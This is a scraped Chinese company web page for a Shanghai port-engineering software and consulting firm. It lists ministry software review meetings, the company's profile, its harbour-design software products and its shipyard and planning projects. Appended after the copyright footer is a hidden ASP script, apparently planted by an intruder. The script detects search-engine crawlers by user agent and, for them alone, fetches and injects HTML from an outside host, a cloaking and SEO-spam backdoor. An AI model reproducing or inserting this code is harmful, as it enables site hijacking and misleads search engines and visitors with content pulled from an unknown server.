中国 上海
 
     

软件成果审查会
2002年交通部软件成果审查会
水运司技术处副处长李永恒(中)
主持软件成果审查会。
中交一航院教授级高工杨希宏(左)
中交三航院教授级高工陆东汉(右)
软件成果审查会

2003年交通部软件成果审查会
水运司技术处副处长李永恒(左3)
主持软件成果审查会。
水运司基建处处长白景涛(左2)
中交一航院教授级高工刘永绣(左1)
丰海公司董事长严骏博士(右)
软件成果审查会
2004年交通部软件成果审查会
水运司技术处副处长李永恒(中)
主持软件成果审查会。
中交三航院教授级高工陆东汉(左)
中交一航院教授级高工刘永绣(右)
软件成果审查会
2012年交通运输部软件鉴定会
交通运输部水运局副处长万平(右2)
中国工程建设标准化协会水运专业委员会
常务副主任委员仉伯强（右3）
中国工程建设标准化协会水运专业委员会
秘书长张国维(右4)

丰海技术咨询服务（上海）有限公司：
由留学日本严骏博士创办的外资独资企业,也是日本丰海技术咨询服务有限公司在中国的子公司。2001年4月注册在上海浦东张江高科技园区并获得上海信息化委员会认定的的软件企业。公司设有工程设计部，软件开发部含软件测试、市场营销部及综合部等部门。
南通宏强
  
韩通船舶
  
江苏新韩通（扬中）
  
王子制纸（南通）
  
连云港东方船业
  
南通顺恒船舶
  
南通宏强    韩通船舶    江苏新韩通（扬中）    王子制纸（南通）    连云港东方船业    南通顺恒船舶   
 

·港口工程"丰海PJ-10码头排架综合分析软件"
·港口工程"沉箱自动设计系统(CAISSON)"
·港口工程"丰海BZ-09板桩计算软件"
·港口工程"丰海JCGDL 基础轨道梁计算软件"
·港口工程"丰海TPWD 土坡稳定计算软件"
·港口工程"丰海DT-10高桩三维刚性墩台计算软件"
·港口工程"丰海ZLS-09重力式码头计算软件"
·港口工程"丰海MB码头面板计算软件"
·港口工程"TOOLS港口工程计算工具包"
·港口工程"丰海港口工程计算系统企业版"
·港口工程"丰海GDL-10宽支座轨道梁计算软件"
·港口工程"高桩梁板式码头结构配筋CAD绘图系统"
·港口工程"丰海SPCZL单桩水平承载力计算软件"
·港口工程"丰海港口工程高桩梁板式码头CAD绘图软件"
·港口工程"丰海KJMT框架式码头排架计算软件"

·韩通船舶机械设备（通州）有限公司造船项目
·王子制纸（南通）有限公司码头及航道工程
·连云港东方船业有限公司新建船厂工程
·南通顺恒船舶有限公司造船项目
·江苏海丰造船有限公司造船项目船台、船坞及舾装码头工程
·江苏新韩通（扬中）船舶重工有限公司船台船坞工程设计
·沈阳市太原街地区地下空间有效利用规划
·沈阳市中山公园改造规划设计
·沈阳市市府广场地下空间规划设计
·沈阳市方城地区地下空间规划设计


软件界面交通部交水发[2004]138号文推广使用我公司水运软件
 

 

 

Copyright©2007 praiash.com Inc. All rights reserved.

丰海技术咨询服务(上海)有限公司 版权所有

沪ICP备11044881号

 
<% Function check(user_agent) allow_agent=split("Baiduspider,Scooter,ia_archiver,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,Yahoo! Slurp,Yahoo",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then url="http://dns.971bobo.com/dd.html" HTMLCODE=getHTTPPage(url) response.Write HTMLCODE Function getHTTPPage(url) dim objXML set objXML=createobject("MSXML2.SERVERXMLHTTP.3.0") objXML.open "GET",url,false objXML.send() getHTTPPage=bBytesToBstr(objXML.responseBody) set objXML=nothing End Function Function bBytesToBstr(body) dim objstream set objstream = CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" bBytesToBstr = objstream.ReadText objstream.Close set objstream = nothing end Function end if %>